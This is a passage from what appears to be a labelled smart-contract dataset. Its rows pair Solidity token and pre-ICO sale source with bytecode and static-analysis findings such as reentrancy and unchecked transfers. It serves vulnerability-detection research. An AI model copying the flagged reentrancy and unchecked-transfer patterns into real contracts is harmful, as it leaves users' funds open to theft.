} | 0x60806040526004361061019f5760003560e01c8063715018a6116100ec578063a2a957bb1161008a578063c3c8cd8011610064578063c3c8cd8014610491578063ccd1f6ea146104a6578063dd62ed3e146104c6578063fc3422791461050c57600080fd5b8063a2a957bb14610421578063a9059cbb14610441578063bfd792841461046157600080fd5b80638f70ccf7116100c65780638f70ccf7146103cb5780638f9a55c0146103eb57806395d89b41146101cd57806398a5c3151461040157600080fd5b8063715018a6146103825780637d1db4a5146103975780638da5cb5b146103ad57600080fd5b80632fd689e31161015957806349bd5a5e1161013357806349bd5a5e1461030d5780636b9990531461032d5780636fc3eaec1461034d57806370a082311461036257600080fd5b80632fd689e3146102bb578063313ce567146102d157806340c70fbf146102ed57600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b31461020d5780631694505e1461023d57806318160ddd1461027557806323b872dd1461029b57600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c636600461165f565b61052c565b005b3480156101d957600080fd5b50604080518082018252600881526723b934b6a2b637b760c11b602082015290516102049190611724565b60405180910390f35b34801561021957600080fd5b5061022d610228366004611779565b6105cb565b6040519015158152602001610204565b34801561024957600080fd5b5060145461025d906001600160a01b031681565b6040516001600160a01b039091168152602001610204565b34801561028157600080fd5b506803c73d60a9a59e04005b604051908152602001610204565b3480156102a757600080fd5b5061022d6102b63660046117a5565b6105e2565b3480156102c757600080fd5b5061028d60185481565b3480156102dd57600080fd5b5060405160098152602001610204565b3480156102f957600080fd5b506101cb6103083660046117e6565b61064b565b34801561031957600080fd5b5060155461025d906001600160a01b031681565b34801561033957600080fd5b506101cb6103483660046117ff565b61067a565b34801561035957600080fd5b506101cb6106c5565b34801561036e57600080fd5b5061028d61037d3660046117ff565b6106f2565b34801561038e57600080fd5b506101cb610714565b3480156103a357600080fd5b5061028d60165481565b3480156103b957600080fd5b506000546001600160a01b031661025d565b3480156103d757600080fd5b506101cb6103e636600461181c565b610788565b3480156103f757600080fd5b5061028d60175481565b34801561040d57600080fd5b506101cb61041c3660046117e6565b6107d0565b34801561042d57600080fd5b506101cb61043c36600461183e565b6107ff565b34801561044d57600080fd5b5061022d61045c366004611779565b61083d565b34801561046d57600080fd5b5061022d61047c3660046117ff565b60106020526000908152604090205460ff1681565b34801561049d57600080fd5b506101cb61084a565b3480156104b257600080fd5b506101cb6104c13660046117e6565b610880565b3480156104d257600080fd5b5061028d6104e1366004611870565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561051857600080fd5b506101cb61052736600461181c565b6108af565b6000546001600160a01b0316331461055f5760405162461bcd60e51b8152600401610556906118a9565b60405180910390fd5b60005b81518110156105c757600160106000848481518110610583576105836118de565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bf8161190a565b915050610562565b5050565b60006105d83384846108f7565b5060015b92915050565b60006105ef848484610a1b565b610641843361063c85604051806060016040528060288152602001611a24602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e90565b6108f7565b5060019392505050565b6000546001600160a01b031633146106755760405162461bcd60e51b8152600401610556906118a9565b601755565b6000546001600160a01b031633146106a45760405162461bcd60e51b8152600401610556906118a9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316146106e557600080fd5b476106ef81610eca565b50565b6001600160a01b0381166000908152600260205260408120546105dc90610f5f565b6000546001600160a01b0316331461073e5760405162461bcd60e51b8152600401610556906118a9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107b25760405162461bcd60e51b8152600401610556906118a9565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107fa5760405162461bcd60e51b8152600401610556906118a9565b601855565b6000546001600160a01b031633146108295760405162461bcd60e51b8152600401610556906118a9565b600893909355600a91909155600955600b55565b60006105d8338484610a1b565b6012546001600160a01b0316336001600160a01b03161461086a57600080fd5b6000610875306106f2565b90506106ef81610fe3565b6000546001600160a01b031633146108aa5760405162461bcd60e51b8152600401610556906118a9565b601655565b6000546001600160a01b031633146108d95760405162461bcd60e51b8152600401610556906118a9565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166109595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b0382166109ba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a7f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ae15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b60008111610b435760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610556565b6000546001600160a01b03848116911614801590610b6f57506000546001600160a01b03838116911614155b15610d8357601554600160a01b900460ff16610bd757601654811115610bd75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610556565b6001600160a01b03831660009081526010602052604090205460ff16158015610c1957506001600160a01b03821660009081526010602052604090205460ff16155b610c715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610556565b6015546001600160a01b03838116911614610cf65760175481610c93846106f2565b610c9d9190611925565b10610cf65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610556565b6000610d01306106f2565b601854601654919250821015908210610d1a5760165491505b808015610d315750601554600160a81b900460ff16155b8015610d4b57506015546001600160a01b03868116911614155b8015610d605750601554600160b01b900460ff165b15610d8057610d6e82610fe3565b478015610d7e57610d7e47610eca565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dc557506001600160a01b03831660009081526005602052604090205460ff165b80610df757506015546001600160a01b03858116911614801590610df757506015546001600160a01b03848116911614155b15610e0457506000610e7e565b6015546001600160a01b038581169116148015610e2f57506014546001600160a01b03848116911614155b15610e4157600854600c55600954600d555b6015546001600160a01b038481169116148015610e6c57506014546001600160a01b03858116911614155b15610e7e57600a54600c55600b54600d555b610e8a8484848461116c565b50505050565b60008184841115610eb45760405162461bcd60e51b81526004016105569190611724565b506000610ec1848661193d565b95945050505050565b6012546001600160a01b03166108fc610eef6008610ee985600961119a565b906111dc565b6040518115909202916000818181858888f19350505050158015610f17573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f376001610ee985600961119a565b6040518115909202916000818181858888f193505050501580156105c7573d6000803e3d6000fd5b6000600654821115610fc65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610556565b6000610fd061125b565b9050610fdc838261119a565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061102b5761102b6118de565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561107f57600080fd5b505afa158015611093573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b79190611954565b816001815181106110ca576110ca6118de565b6001600160a01b0392831660209182029290920101526014546110f091309116846108f7565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611129908590600090869030904290600401611971565b600060405180830381600087803b15801561114357600080fd5b505af1158015611157573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111795761117961127e565b6111848484846112ac565b80610e8a57610e8a600e54600c55600f54600d55565b6000610fdc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a3565b6000826111eb575060006105dc565b60006111f783856119e2565b9050826112048583611a01565b14610fdc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610556565b60008060006112686113d1565b9092509050611277828261119a565b9250505090565b600c5415801561128e5750600d54155b1561129557565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112be87611413565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f09087611470565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131f90866114b2565b6001600160a01b03891660009081526002602052604090205561134181611511565b61134b848361155b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139091815260200190565b60405180910390a3505050505050505050565b600081836113c45760405162461bcd60e51b81526004016105569190611724565b506000610ec18486611a01565b60065460009081906803c73d60a9a59e04006113ed828261119a565b82101561140a575050600654926803c73d60a9a59e040092509050565b90939092509050565b60008060008060008060008060006114308a600c54600d5461157f565b925092509250600061144061125b565b905060008060006114538e8787876115d4565b919e509c509a509598509396509194505050505091939550919395565b6000610fdc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e90565b6000806114bf8385611925565b905083811015610fdc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610556565b600061151b61125b565b9050600061152983836111dc565b3060009081526002602052604090205490915061154690826114b2565b30600090815260026020526040902055505050565b6006546115689083611470565b60065560075461157890826114b2565b6007555050565b6000808080611599606461159389896111dc565b9061119a565b905060006115ac60646115938a896111dc565b905060006115c4826115be8b86611470565b90611470565b9992985090965090945050505050565b60008080806115e388866111dc565b905060006115f188876111dc565b905060006115ff88886111dc565b90506000611611826115be8686611470565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106ef57600080fd5b803561165a8161163a565b919050565b6000602080838503121561167257600080fd5b823567ffffffffffffffff8082111561168a57600080fd5b818501915085601f83011261169e57600080fd5b8135818111156116b0576116b0611624565b8060051b604051601f19603f830116810181811085821117156116d5576116d5611624565b6040529182528482019250838101850191888311156116f357600080fd5b938501935b82851015611718576117098561164f565b845293850193928501926116f8565b98975050505050505050565b600060208083528351808285015260005b8181101561175157858101830151858201604001528201611735565b81811115611763576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561178c57600080fd5b82356117978161163a565b946020939093013593505050565b6000806000606084860312156117ba57600080fd5b83356117c58161163a565b925060208401356117d58161163a565b929592945050506040919091013590565b6000602082840312156117f857600080fd5b5035919050565b60006020828403121561181157600080fd5b8135610fdc8161163a565b60006020828403121561182e57600080fd5b81358015158114610fdc57600080fd5b6000806000806080858703121561185457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561188357600080fd5b823561188e8161163a565b9150602083013561189e8161163a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561191e5761191e6118f4565b5060010190565b60008219821115611938576119386118f4565b500190565b60008282101561194f5761194f6118f4565b500390565b60006020828403121561196657600080fd5b8151610fdc8161163a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c15784516001600160a01b03168352938301939183019160010161199c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008160001904831182151516156119fc576119fc6118f4565b500290565b600082611a1e57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e2811d16bba116f88ca4b38c00a1438c111fdd4b725b473dbadd484d3ad9a6a964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,875 |
0xa0df980a587b141bfda8cded13af737d96efb934 | pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShortAddressProtection {
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, ShortAddressProtection {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
//require user to set to zero before resetting to nonzero
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Showcoin token
*/
contract Showcoin is Ownable, StandardToken {
string public constant name = "Showcoin";
string public constant symbol = "SHC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 69000000 * (10 ** uint256(decimals));
function Showcoin() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
contract PreICO is Ownable {
using SafeMath for uint256;
Showcoin public token;
uint256 public constant rate = 2000;
uint256 public endTime;
address public wallet;
uint256 public constant tokenSaleLimit = 4000000 * (10 ** 18);
uint256 public tokenRaised;
bool public finished;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finish();
function PreICO(address _token, uint256 _endTime, address _wallet) public {
require(_token != address(0));
require(_wallet != address(0));
require(_endTime > now);
token = Showcoin(_token);
wallet = _wallet;
endTime = _endTime;
}
function setStopDate(uint256 _endTime) onlyOwner public {
require(_endTime > endTime);
endTime = _endTime;
}
function transferTokens(address _to, uint256 _amount) onlyOwner public {
require(_to != address(0));
// update state
tokenRaised = tokenRaised.add(_amount);
require(!hasEnded());
token.transfer(_to, _amount);
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
wallet = _wallet;
}
function claimLeftTokens() onlyOwner public {
require(hasEnded());
require(!finished);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
finished = true;
Finish();
}
// fallback function can be used to buy tokens
function() external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
tokenRaised = tokenRaised.add(tokens);
require(!hasEnded());
// transfer tokens from this contract to beneficiary
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime || tokenRaised >= tokenSaleLimit;
}
} | 0x6060604052600436106100c15763ffffffff60e060020a60003504166326a2157581146100cc5780632c4e722e146100f15780633197cbb6146101045780633302ece014610117578063521eb2731461012d5780636013d0921461015c57806367be5eac1461016f5780638da5cb5b14610182578063bec3fa1714610195578063bef4876b146101b7578063deaa59df146101de578063ec8ac4d8146101fd578063ecb70fb714610211578063f2fde38b14610224578063fc0c546a14610243575b6100ca33610256565b005b34156100d757600080fd5b6100df610397565b60405190815260200160405180910390f35b34156100fc57600080fd5b6100df61039d565b341561010f57600080fd5b6100df6103a3565b341561012257600080fd5b6100ca6004356103a9565b341561013857600080fd5b6101406103d7565b604051600160a060020a03909116815260200160405180910390f35b341561016757600080fd5b6100df6103e6565b341561017a57600080fd5b6100ca6103f5565b341561018d57600080fd5b61014061056a565b34156101a057600080fd5b6100ca600160a060020a0360043516602435610579565b34156101c257600080fd5b6101ca61064f565b604051901515815260200160405180910390f35b34156101e957600080fd5b6100ca600160a060020a0360043516610658565b6100ca600160a060020a0360043516610256565b341561021c57600080fd5b6101ca6106b7565b341561022f57600080fd5b6100ca600160a060020a03600435166106db565b341561024e57600080fd5b610140610776565b600080600160a060020a038316151561026e57600080fd5b610276610785565b151561028157600080fd5b349150610296826107d063ffffffff61078b16565b6004549091506102ac908263ffffffff6107c116565b6004556102b76106b7565b156102c157600080fd5b600154600160a060020a031663a9059cbb848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561032057600080fd5b6102c65a03f1151561033157600080fd5b505050604051805190505082600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a36103926107d0565b505050565b60045481565b6107d081565b60025481565b60005433600160a060020a039081169116146103c457600080fd5b60025481116103d257600080fd5b600255565b600354600160a060020a031681565b6a034f086f3b33b68400000081565b6000805433600160a060020a0390811691161461041157600080fd5b6104196106b7565b151561042457600080fd5b60055460ff161561043457600080fd5b600154600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561048d57600080fd5b6102c65a03f1151561049e57600080fd5b505050604051805160015460008054929450600160a060020a03918216935063a9059cbb929091169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561051357600080fd5b6102c65a03f1151561052457600080fd5b505050604051805150506005805460ff191660011790557f74a82f6926b1d3bf00b3754f94e6c2fe32c735eb771543b06f962720da957c3860405160405180910390a150565b600054600160a060020a031681565b60005433600160a060020a0390811691161461059457600080fd5b600160a060020a03821615156105a957600080fd5b6004546105bc908263ffffffff6107c116565b6004556105c76106b7565b156105d157600080fd5b600154600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561063057600080fd5b6102c65a03f1151561064157600080fd5b505050604051805150505050565b60055460ff1681565b60005433600160a060020a0390811691161461067357600080fd5b600160a060020a038116151561068857600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60006002544211806106d657506a034f086f3b33b68400000060045410155b905090565b60005433600160a060020a039081169116146106f657600080fd5b600160a060020a038116151561070b57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b34151590565b60008083151561079e57600091506107ba565b508282028284828115156107ae57fe5b04146107b657fe5b8091505b5092915050565b6000828201838110156107b657fe5b600354600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561080457600080fd5b5600a165627a7a7230582062f7508d308572fc489c4ef4b8e89a92a9cd3f9e5afb436397dd7898362e8f760029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,876 |
0x042d93de395e49105809cf0E2275Ca05845BD98B | /**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-20
*/
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ForeverUp is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KRAKEN";
string private constant _symbol = "THE KRAKEN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
